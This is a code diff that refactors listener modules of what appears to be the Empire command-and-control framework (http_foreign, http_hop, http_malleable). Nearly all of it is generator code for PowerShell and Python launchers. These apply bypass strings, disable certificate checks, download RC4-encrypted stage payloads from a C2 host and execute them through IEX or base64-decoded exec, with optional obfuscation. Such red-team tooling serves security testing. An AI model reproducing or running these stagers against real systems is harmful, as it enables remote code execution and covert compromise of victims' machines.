- stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
+ for bypass in bypasses:
+ stager += bypass
+ stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
- # Remove comments and make one line
- stager = helpers.strip_powershell_comments(stager)
- stager = data_util.ps_convert_to_oneliner(stager)
+ stager += "$wc=New-Object System.Net.WebClient;"
- if obfuscate:
- stager = self.mainMenu.obfuscationv2.obfuscate(
- stager,
- obfuscation_command=obfuscation_command,
- )
- stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+ if userAgent.lower() == "default":
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ userAgent = profile.split("|")[1]
+ stager += f"$u='{ userAgent }';"
- # base64 encode the stager and return it
- if encode and (
- (not obfuscate) or ("launcher" not in obfuscation_command.lower())
- ):
- return helpers.powershell_launcher(stager, launcher)
- else:
- # otherwise return the case-randomized stager
- return stager
-
- if language in ["python", "ironpython"]:
- launcherBase = "import sys;"
- if "https" in host:
- # monkey patch ssl woohooo
- launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
-
- try:
- if safeChecks.lower() == "true":
- launcherBase += listener_util.python_safe_checks()
- except Exception as e:
- p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
- log.error(p, exc_info=True)
-
- if userAgent.lower() == "default":
- profile = listenerOptions["DefaultProfile"]["Value"]
- userAgent = profile.split("|")[1]
-
- launcherBase += dedent(
- f"""
- o=__import__({{2:'urllib2',3:'urllib.request'}}[sys.version_info[0]],fromlist=['build_opener']).build_opener();
- UA='{userAgent}';
- server='{host}';t='{stage0}';
- """
- )
+ if "https" in host:
+ # allow for self-signed certificates for https connections
+ stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
- b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"]
-
- # add the RC4 packet to a cookie
- launcherBase += (
- 'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session=%s")];\n'
- % (b64RoutingPacket)
- )
- launcherBase += "import urllib.request;\n"
+ if userAgent.lower() != "none" or proxy.lower() != "none":
+ if userAgent.lower() != "none":
+ stager += "$wc.Headers.Add('User-Agent',$u);"
if proxy.lower() != "none":
if proxy.lower() == "default":
- launcherBase += "proxy = urllib.request.ProxyHandler();\n"
+ stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
+
else:
- proto = proxy.Split(":")[0]
- launcherBase += (
- "proxy = urllib.request.ProxyHandler({'"
- + proto
- + "':'"
- + proxy
- + "'});\n"
- )
+ # TODO: implement form for other proxy
+ stager += "$proxy=New-Object Net.WebProxy;"
+ stager += f"$proxy.Address = '{ proxy.lower() }';"
+ stager += "$wc.Proxy = $proxy;"
+
+ if proxyCreds.lower() == "default":
+ stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
- if proxyCreds != "none":
- if proxyCreds == "default":
- launcherBase += "o = urllib.request.build_opener(proxy);\n"
- else:
- launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n"
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- launcherBase += (
- "proxy_auth_handler.add_password(None,'"
- + proxy
- + "','"
- + username
- + "','"
- + password
- + "');\n"
- )
- launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n"
else:
- launcherBase += "o = urllib.request.build_opener(proxy);\n"
- else:
- launcherBase += "o = urllib.request.build_opener();\n"
+ # TODO: implement form for other proxy credentials
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ domain = username.split("\\")[0]
+ usr = username.split("\\")[1]
+ stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');"
+ stager += "$wc.Proxy.Credentials = $netcred;"
- # install proxy and creds globally, so they can be used with urlopen.
- launcherBase += "urllib.request.install_opener(o);\n"
- launcherBase += "a=o.open(server+t).read();\n"
+ # TODO: reimplement stager retries?
- # download the stager and extract the IV
- launcherBase += listener_util.python_extract_stager(stagingKey)
+ # Add custom headers if any
+ if customHeaders != []:
+ for header in customHeaders:
+ headerKey = header.split(":")[0]
+ headerValue = header.split(":")[1]
+ stager += f'$wc.Headers.Add("{ headerKey }","{ headerValue }");'
- if obfuscate:
- launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
- launcherBase
- )
- launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
- launcherBase
- )
+ # code to turn the key string into a byte array
+ stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');"
- if encode:
- launchEncoded = base64.b64encode(
- launcherBase.encode("UTF-8")
- ).decode("UTF-8")
- if isinstance(launchEncoded, bytes):
- launchEncoded = launchEncoded.decode("UTF-8")
- launcher = (
- "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &"
- % (launchEncoded)
- )
- return launcher
+ # this is the minimized RC4 stager code from rc4.ps1
+ stager += listener_util.powershell_rc4()
+
+ # Use routingpacket from foreign listener
+ b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"]
+
+ # add the RC4 packet to a cookie
+ stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");'
+
+ stager += (
+ f"$ser= { helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';"
+ )
+ stager += "$data=$wc.DownloadData($ser+$t);"
+ stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
+
+ # decode everything and kick it over to IEX to kick off execution
+ stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
+
+ # Remove comments and make one line
+ stager = helpers.strip_powershell_comments(stager)
+ stager = data_util.ps_convert_to_oneliner(stager)
+
+ if obfuscate:
+ stager = self.mainMenu.obfuscationv2.obfuscate(
+ stager,
+ obfuscation_command=obfuscation_command,
+ )
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+
+ # base64 encode the stager and return it
+ if encode and (
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
+ ):
+ return helpers.powershell_launcher(stager, launcher)
+ else:
+ # otherwise return the case-randomized stager
+ return stager
+
+ if language in ["python", "ironpython"]:
+ launcherBase = "import sys;"
+ if "https" in host:
+ # monkey patch ssl woohooo
+ launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
+
+ try:
+ if safeChecks.lower() == "true":
+ launcherBase += listener_util.python_safe_checks()
+ except Exception as e:
+ p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
+ log.error(p, exc_info=True)
+
+ if userAgent.lower() == "default":
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ userAgent = profile.split("|")[1]
+
+ launcherBase += dedent(
+ f"""
+ o=__import__({{2:'urllib2',3:'urllib.request'}}[sys.version_info[0]],fromlist=['build_opener']).build_opener();
+ UA='{userAgent}';
+ server='{host}';t='{stage0}';
+ """
+ )
+
+ b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"]
+
+ # add the RC4 packet to a cookie
+ launcherBase += (
+ 'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session=%s")];\n'
+ % (b64RoutingPacket)
+ )
+ launcherBase += "import urllib.request;\n"
+
+ if proxy.lower() != "none":
+ if proxy.lower() == "default":
+ launcherBase += "proxy = urllib.request.ProxyHandler();\n"
else:
- return launcherBase
+ proto = proxy.Split(":")[0]
+ launcherBase += (
+ "proxy = urllib.request.ProxyHandler({'"
+ + proto
+ + "':'"
+ + proxy
+ + "'});\n"
+ )
+ if proxyCreds != "none":
+ if proxyCreds == "default":
+ launcherBase += "o = urllib.request.build_opener(proxy);\n"
+ else:
+ launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n"
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ launcherBase += (
+ "proxy_auth_handler.add_password(None,'"
+ + proxy
+ + "','"
+ + username
+ + "','"
+ + password
+ + "');\n"
+ )
+ launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n"
+ else:
+ launcherBase += "o = urllib.request.build_opener(proxy);\n"
else:
- log.error(
- "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
+ launcherBase += "o = urllib.request.build_opener();\n"
+
+ # install proxy and creds globally, so they can be used with urlopen.
+ launcherBase += "urllib.request.install_opener(o);\n"
+ launcherBase += "a=o.open(server+t).read();\n"
+
+ # download the stager and extract the IV
+ launcherBase += listener_util.python_extract_stager(stagingKey)
+
+ if obfuscate:
+ launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
+ launcherBase
+ )
+ launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
+ launcherBase
+ )
+
+ if encode:
+ launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode(
+ "UTF-8"
+ )
+ if isinstance(launchEncoded, bytes):
+ launchEncoded = launchEncoded.decode("UTF-8")
+ launcher = (
+ "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &"
+ % (launchEncoded)
)
+ return launcher
+ else:
+ return launcherBase
+
+ else:
+ log.error(
+ "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
+ )
def generate_stager(
self,
@@ -473,13 +465,13 @@ def generate_comms(self, listenerOptions, language=None):
else:
log.error("listeners/http_foreign generate_comms(): no language specified!")
- def start(self, name=""):
+ def start(self):
"""
Nothing to actually start for a foreign listner.
"""
return True
- def shutdown(self, name=""):
+ def shutdown(self):
"""
Nothing to actually shut down for a foreign listner.
"""
diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py
index 07ca01b99..046ed8d50 100755
--- a/empire/server/listeners/http_hop.py
+++ b/empire/server/listeners/http_hop.py
@@ -4,7 +4,6 @@
import os
import random
from textwrap import dedent
-from typing import List, Optional, Tuple
from empire.server.common import encryption, helpers, packets, templating
from empire.server.common.empire import MainMenu
@@ -66,7 +65,8 @@ def __init__(self, mainMenu: MainMenu):
"Port": {
"Description": "Port for the listener.",
"Required": True,
- "Value": "",
+ "Value": "80",
+ "SuggestedValues": ["80", "443"],
},
"DefaultProfile": {
"Description": "Default communication profile for the agent, extracted from RedirectListener automatically.",
@@ -87,7 +87,7 @@ def __init__(self, mainMenu: MainMenu):
# required:
self.mainMenu = mainMenu
- self.threads = {}
+ self.thread = None
self.instance_log = log
@@ -98,7 +98,7 @@ def default_response(self):
"""
return ""
- def validate_options(self) -> Tuple[bool, Optional[str]]:
+ def validate_options(self) -> tuple[bool, str | None]:
"""
Validate all options for this listener.
"""
@@ -117,7 +117,7 @@ def generate_launcher(
language=None,
safeChecks="",
listenerName=None,
- bypasses: List[str] = None,
+ bypasses: list[str] = None,
):
"""
Generate a basic launcher for the specified listener.
@@ -128,221 +128,211 @@ def generate_launcher(
log.error("listeners/http_hop generate_launcher(): no language specified!")
return None
- # Previously, we had to do a lookup for the listener and check through threads on the instance.
- # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
- # further, but for now keeping as is since 5.0 has enough rewrites as it is.
- if (
- True
- ): # The true check is just here to keep the indentation consistent with the old code.
- active_listener = self
- # extract the set options for this instantiated listener
- listenerOptions = active_listener.options
+ active_listener = self
+ # extract the set options for this instantiated listener
+ listenerOptions = active_listener.options
- host = listenerOptions["Host"]["Value"]
- launcher = listenerOptions["Launcher"]["Value"]
- staging_key = listenerOptions["RedirectStagingKey"]["Value"]
- profile = listenerOptions["DefaultProfile"]["Value"]
- uris = [a for a in profile.split("|")[0].split(",")]
- stage0 = random.choice(uris)
+ host = listenerOptions["Host"]["Value"]
+ launcher = listenerOptions["Launcher"]["Value"]
+ staging_key = listenerOptions["RedirectStagingKey"]["Value"]
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ uris = list(profile.split("|")[0].split(","))
+ stage0 = random.choice(uris)
- if language == "powershell":
- # PowerShell
+ if language == "powershell":
+ # PowerShell
- stager = '$ErrorActionPreference = "SilentlyContinue";'
- if safeChecks.lower() == "true":
- stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
-
- for bypass in bypasses:
- stager += bypass
- stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
-
- stager += "$wc=New-Object System.Net.WebClient;"
-
- if userAgent.lower() == "default":
- userAgent = profile.split("|")[1]
- stager += f"$u='{ userAgent }';"
-
- if "https" in host:
- # allow for self-signed certificates for https connections
- stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
-
- if userAgent.lower() != "none" or proxy.lower() != "none":
- if userAgent.lower() != "none":
- stager += "$wc.Headers.Add('User-Agent',$u);"
-
- if proxy.lower() != "none":
- if proxy.lower() == "default":
- stager += (
- "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
- )
-
- else:
- # TODO: implement form for other proxy
- stager += "$proxy=New-Object Net.WebProxy;"
- stager += f"$proxy.Address = '{ proxy.lower() }';"
- stager += "$wc.Proxy = $proxy;"
-
- if proxyCreds.lower() == "default":
- stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
-
- else:
- # TODO: implement form for other proxy credentials
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- domain = username.split("\\")[0]
- usr = username.split("\\")[1]
- stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}', '{password}', '{domain}');"
- stager += "$wc.Proxy.Credentials = $netcred;"
-
- # TODO: reimplement stager retries?
-
- # code to turn the key string into a byte array
- stager += (
- f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"
- )
+ stager = '$ErrorActionPreference = "SilentlyContinue";'
+ if safeChecks.lower() == "true":
+ stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
- # this is the minimized RC4 stager code from rc4.ps1
- stager += listener_util.powershell_rc4()
-
- # prebuild the request routing packet for the launcher
- routingPacket = packets.build_routing_packet(
- staging_key,
- sessionID="00000000",
- language="POWERSHELL",
- meta="STAGE0",
- additional="None",
- encData="",
- )
- b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8")
+ for bypass in bypasses:
+ stager += bypass
+ stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
- # add the RC4 packet to a cookie
- stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");'
- stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';$hop='{ listenerName }';"
- stager += "$data=$wc.DownloadData($ser+$t);"
- stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
+ stager += "$wc=New-Object System.Net.WebClient;"
- # decode everything and kick it over to IEX to kick off execution
- stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
+ if userAgent.lower() == "default":
+ userAgent = profile.split("|")[1]
+ stager += f"$u='{ userAgent }';"
- # Remove comments and make one line
- stager = helpers.strip_powershell_comments(stager)
- stager = data_util.ps_convert_to_oneliner(stager)
+ if "https" in host:
+ # allow for self-signed certificates for https connections
+ stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
- if obfuscate:
- stager = self.mainMenu.obfuscationv2.obfuscate(
- stager,
- obfuscation_command=obfuscation_command,
- )
- stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+ if userAgent.lower() != "none" or proxy.lower() != "none":
+ if userAgent.lower() != "none":
+ stager += "$wc.Headers.Add('User-Agent',$u);"
- # base64 encode the stager and return it
- if encode and (
- (not obfuscate) or ("launcher" not in obfuscation_command.lower())
- ):
- return helpers.powershell_launcher(stager, launcher)
- else:
- # otherwise return the case-randomized stager
- return stager
-
- if language in ["python", "ironpython"]:
- # Python
-
- launcherBase = "import sys;"
- if "https" in host:
- # monkey patch ssl woohooo
- launcherBase += dedent(
- """
- import ssl;
- if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;
- """
- )
- try:
- if safeChecks.lower() == "true":
- launcherBase += listener_util.python_safe_checks()
- except Exception as e:
- p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
- log.error(p)
+ if proxy.lower() != "none":
+ if proxy.lower() == "default":
+ stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
+
+ else:
+ # TODO: implement form for other proxy
+ stager += "$proxy=New-Object Net.WebProxy;"
+ stager += f"$proxy.Address = '{ proxy.lower() }';"
+ stager += "$wc.Proxy = $proxy;"
+
+ if proxyCreds.lower() == "default":
+ stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
+
+ else:
+ # TODO: implement form for other proxy credentials
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ domain = username.split("\\")[0]
+ usr = username.split("\\")[1]
+ stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}', '{password}', '{domain}');"
+ stager += "$wc.Proxy.Credentials = $netcred;"
+
+ # TODO: reimplement stager retries?
+
+ # code to turn the key string into a byte array
+ stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"
+
+ # this is the minimized RC4 stager code from rc4.ps1
+ stager += listener_util.powershell_rc4()
+
+ # prebuild the request routing packet for the launcher
+ routingPacket = packets.build_routing_packet(
+ staging_key,
+ sessionID="00000000",
+ language="POWERSHELL",
+ meta="STAGE0",
+ additional="None",
+ encData="",
+ )
+ b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8")
+
+ # add the RC4 packet to a cookie
+ stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");'
+ stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';$hop='{ listenerName }';"
+ stager += "$data=$wc.DownloadData($ser+$t);"
+ stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
+
+ # decode everything and kick it over to IEX to kick off execution
+ stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
+
+ # Remove comments and make one line
+ stager = helpers.strip_powershell_comments(stager)
+ stager = data_util.ps_convert_to_oneliner(stager)
+
+ if obfuscate:
+ stager = self.mainMenu.obfuscationv2.obfuscate(
+ stager,
+ obfuscation_command=obfuscation_command,
+ )
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+
+ # base64 encode the stager and return it
+ if encode and (
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
+ ):
+ return helpers.powershell_launcher(stager, launcher)
+ else:
+ # otherwise return the case-randomized stager
+ return stager
- if userAgent.lower() == "default":
- userAgent = profile.split("|")[1]
+ if language in ["python", "ironpython"]:
+ # Python
+ launcherBase = "import sys;"
+ if "https" in host:
+ # monkey patch ssl woohooo
launcherBase += dedent(
- f"""
- import urllib.request;
- UA='{ userAgent }';server='{ host }';t='{ stage0 }';hop='{ listenerName }';
- req=urllib.request.Request(server+t);
+ """
+ import ssl;
+ if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;
"""
)
+ try:
+ if safeChecks.lower() == "true":
+ launcherBase += listener_util.python_safe_checks()
+ except Exception as e:
+ p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
+ log.error(p)
+
+ if userAgent.lower() == "default":
+ userAgent = profile.split("|")[1]
+
+ launcherBase += dedent(
+ f"""
+ import urllib.request;
+ UA='{ userAgent }';server='{ host }';t='{ stage0 }';hop='{ listenerName }';
+ req=urllib.request.Request(server+t);
+ """
+ )
- # prebuild the request routing packet for the launcher
- routingPacket = packets.build_routing_packet(
- staging_key,
- sessionID="00000000",
- language="PYTHON",
- meta="STAGE0",
- additional="None",
- encData="",
- )
- b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8")
+ # prebuild the request routing packet for the launcher
+ routingPacket = packets.build_routing_packet(
+ staging_key,
+ sessionID="00000000",
+ language="PYTHON",
+ meta="STAGE0",
+ additional="None",
+ encData="",
+ )
+ b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8")
- if proxy.lower() != "none":
- if proxy.lower() == "default":
- launcherBase += "proxy = urllib.request.ProxyHandler();\n"
- else:
- proto = proxy.split(":")[0]
- launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n"
-
- if proxyCreds != "none":
- if proxyCreds == "default":
- launcherBase += "o = urllib.request.build_opener(proxy);\n"
-
- # add the RC4 packet to a cookie
- launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n'
- else:
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- launcherBase += dedent(
- f"""
- proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();
- proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }');
- o = urllib.request.build_opener(proxy, proxy_auth_handler);
- o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")];
- """
- )
- else:
- launcherBase += "o = urllib.request.build_opener(proxy);\n"
+ if proxy.lower() != "none":
+ if proxy.lower() == "default":
+ launcherBase += "proxy = urllib.request.ProxyHandler();\n"
else:
- launcherBase += "o = urllib.request.build_opener();\n"
+ proto = proxy.split(":")[0]
+ launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n"
- # install proxy and creds globally, so they can be used with urlopen.
- launcherBase += "urllib.request.install_opener(o);\n"
- launcherBase += "a=urllib.request.urlopen(req).read();\n"
+ if proxyCreds != "none":
+ if proxyCreds == "default":
+ launcherBase += "o = urllib.request.build_opener(proxy);\n"
- # download the stager and extract the IV
- launcherBase += listener_util.python_extract_stager(staging_key)
+ # add the RC4 packet to a cookie
+ launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n'
+ else:
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ launcherBase += dedent(
+ f"""
+ proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();
+ proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }');
+ o = urllib.request.build_opener(proxy, proxy_auth_handler);
+ o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")];
+ """
+ )
+ else:
+ launcherBase += "o = urllib.request.build_opener(proxy);\n"
+ else:
+ launcherBase += "o = urllib.request.build_opener();\n"
- if obfuscate:
- launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
- launcherBase
- )
- launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
- launcherBase
- )
+ # install proxy and creds globally, so they can be used with urlopen.
+ launcherBase += "urllib.request.install_opener(o);\n"
+ launcherBase += "a=urllib.request.urlopen(req).read();\n"
- if encode:
- launchEncoded = base64.b64encode(
- launcherBase.encode("UTF-8")
- ).decode("UTF-8")
- launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &"
- return launcher
- else:
- return launcherBase
+ # download the stager and extract the IV
+ launcherBase += listener_util.python_extract_stager(staging_key)
- else:
- log.error(
- "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
+ if obfuscate:
+ launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
+ launcherBase
+ )
+ launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
+ launcherBase
)
+ if encode:
+ launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode(
+ "UTF-8"
+ )
+ launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &"
+ return launcher
+ else:
+ return launcherBase
+
+ else:
+ log.error(
+ "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
+ )
+
def generate_stager(
self,
listenerOptions,
@@ -550,7 +540,7 @@ def generate_comms(self, listenerOptions, language=None):
else:
log.error("listeners/http_hop generate_comms(): no language specified!")
- def start(self, name=""):
+ def start(self):
"""
Nothing to actually start for a hop listner, but ensure the stagingKey is
synced with the redirect listener.
@@ -568,12 +558,9 @@ def start(self, name=""):
]["Value"]
redirectHost = redirectListenerOptions.options["Host"]["Value"]
- uris = [
- a
- for a in self.options["DefaultProfile"]["Value"]
- .split("|")[0]
- .split(",")
- ]
+ uris = list(
+ self.options["DefaultProfile"]["Value"].split("|")[0].split(",")
+ )
hopCodeLocation = "%s/data/misc/hop.php" % (self.mainMenu.installPath)
with open(hopCodeLocation) as f:
diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py
index c819bcd96..f30aeef78 100644
--- a/empire/server/listeners/http_malleable.py
+++ b/empire/server/listeners/http_malleable.py
@@ -7,7 +7,6 @@
import sys
import time
import urllib.parse
-from typing import List, Optional, Tuple
from flask import Flask, Response, make_response, request
from werkzeug.serving import WSGIRequestHandler
@@ -72,7 +71,8 @@ def __init__(self, mainMenu: MainMenu):
"Port": {
"Description": "Port for the listener.",
"Required": True,
- "Value": 80,
+ "Value": "80",
+ "SuggestedValues": ["80", "443"],
},
"Profile": {
"Description": "Malleable C2 profile to describe comms.",
@@ -139,7 +139,7 @@ def __init__(self, mainMenu: MainMenu):
# required:
self.mainMenu = mainMenu
- self.threads = {} # used to keep track of any threaded instances of this server
+ self.thread = None
# optional/specific for this module
self.app = None
@@ -162,7 +162,7 @@ def default_response(self):
"""
return open(f"{self.template_dir }/default.html").read()
- def validate_options(self) -> Tuple[bool, Optional[str]]:
+ def validate_options(self) -> tuple[bool, str | None]:
"""
Validate all options for this listener.
"""
@@ -262,7 +262,7 @@ def generate_launcher(
safeChecks="",
listenerName=None,
stager=None,
- bypasses: List[str] = None,
+ bypasses: list[str] = None,
):
"""
Generate a basic launcher for the specified listener.
@@ -272,319 +272,309 @@ def generate_launcher(
log.error("listeners/template generate_launcher(): no language specified!")
return None
- # Previously, we had to do a lookup for the listener and check through threads on the instance.
- # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
- # further, but for now keeping as is since 5.0 has enough rewrites as it is.
- if (
- True
- ): # The true check is just here to keep the indentation consistent with the old code.
- active_listener = self
- # extract the set options for this instantiated listener
- listenerOptions = active_listener.options
-
- port = listenerOptions["Port"]["Value"]
- host = listenerOptions["Host"]["Value"]
- launcher = listenerOptions["Launcher"]["Value"]
- stagingKey = listenerOptions["StagingKey"]["Value"]
-
- # build profile
- profile = malleable.Profile._deserialize(self.serialized_profile)
- profile.stager.client.host = host
- profile.stager.client.port = port
- profile.stager.client.path = profile.stager.client.random_uri()
+ active_listener = self
+ # extract the set options for this instantiated listener
+ listenerOptions = active_listener.options
- if userAgent and userAgent.lower() != "default":
- if (
- userAgent.lower() == "none"
- and "User-Agent" in profile.stager.client.headers
- ):
- profile.stager.client.headers.pop("User-Agent")
- else:
- profile.stager.client.headers["User-Agent"] = userAgent
+ port = listenerOptions["Port"]["Value"]
+ host = listenerOptions["Host"]["Value"]
+ launcher = listenerOptions["Launcher"]["Value"]
+ stagingKey = listenerOptions["StagingKey"]["Value"]
- if language == "powershell":
- launcherBase = '$ErrorActionPreference = "SilentlyContinue";'
+ # build profile
+ profile = malleable.Profile._deserialize(self.serialized_profile)
+ profile.stager.client.host = host
+ profile.stager.client.port = port
+ profile.stager.client.path = profile.stager.client.random_uri()
+
+ if userAgent and userAgent.lower() != "default":
+ if (
+ userAgent.lower() == "none"
+ and "User-Agent" in profile.stager.client.headers
+ ):
+ profile.stager.client.headers.pop("User-Agent")
+ else:
+ profile.stager.client.headers["User-Agent"] = userAgent
- if safeChecks.lower() == "true":
- launcherBase = "If($PSVersionTable.PSVersion.Major -ge 3){"
+ if language == "powershell":
+ launcherBase = '$ErrorActionPreference = "SilentlyContinue";'
- for bypass in bypasses:
- launcherBase += bypass
+ if safeChecks.lower() == "true":
+ launcherBase = "If($PSVersionTable.PSVersion.Major -ge 3){"
- if safeChecks.lower() == "true":
- launcherBase += (
- "};[System.Net.ServicePointManager]::Expect100Continue=0;"
- )
+ for bypass in bypasses:
+ launcherBase += bypass
- # ==== DEFINE BYTE ARRAY CONVERSION ====
+ if safeChecks.lower() == "true":
launcherBase += (
- f"$K=[System.Text.Encoding]::ASCII.GetBytes('{stagingKey}');"
+ "};[System.Net.ServicePointManager]::Expect100Continue=0;"
)
- # ==== DEFINE RC4 ====
- launcherBase += listener_util.powershell_rc4()
-
- # ==== BUILD AND STORE METADATA ====
- routingPacket = packets.build_routing_packet(
- stagingKey,
- sessionID="00000000",
- language="POWERSHELL",
- meta="STAGE0",
- additional="None",
- encData="",
- )
- routingPacketTransformed = profile.stager.client.metadata.transform(
- routingPacket
- )
- profile.stager.client.store(
- routingPacketTransformed, profile.stager.client.metadata.terminator
+ # ==== DEFINE BYTE ARRAY CONVERSION ====
+ launcherBase += (
+ f"$K=[System.Text.Encoding]::ASCII.GetBytes('{stagingKey}');"
+ )
+
+ # ==== DEFINE RC4 ====
+ launcherBase += listener_util.powershell_rc4()
+
+ # ==== BUILD AND STORE METADATA ====
+ routingPacket = packets.build_routing_packet(
+ stagingKey,
+ sessionID="00000000",
+ language="POWERSHELL",
+ meta="STAGE0",
+ additional="None",
+ encData="",
+ )
+ routingPacketTransformed = profile.stager.client.metadata.transform(
+ routingPacket
+ )
+ profile.stager.client.store(
+ routingPacketTransformed, profile.stager.client.metadata.terminator
+ )
+
+ # ==== BUILD REQUEST ====
+ launcherBase += "$wc=New-Object System.Net.WebClient;"
+ launcherBase += (
+ "$ser="
+ + helpers.obfuscate_call_home_address(
+ profile.stager.client.scheme + "://" + profile.stager.client.netloc
)
+ + ";$t='"
+ + profile.stager.client.path
+ + profile.stager.client.query
+ + "';"
+ )
- # ==== BUILD REQUEST ====
- launcherBase += "$wc=New-Object System.Net.WebClient;"
- launcherBase += (
- "$ser="
- + helpers.obfuscate_call_home_address(
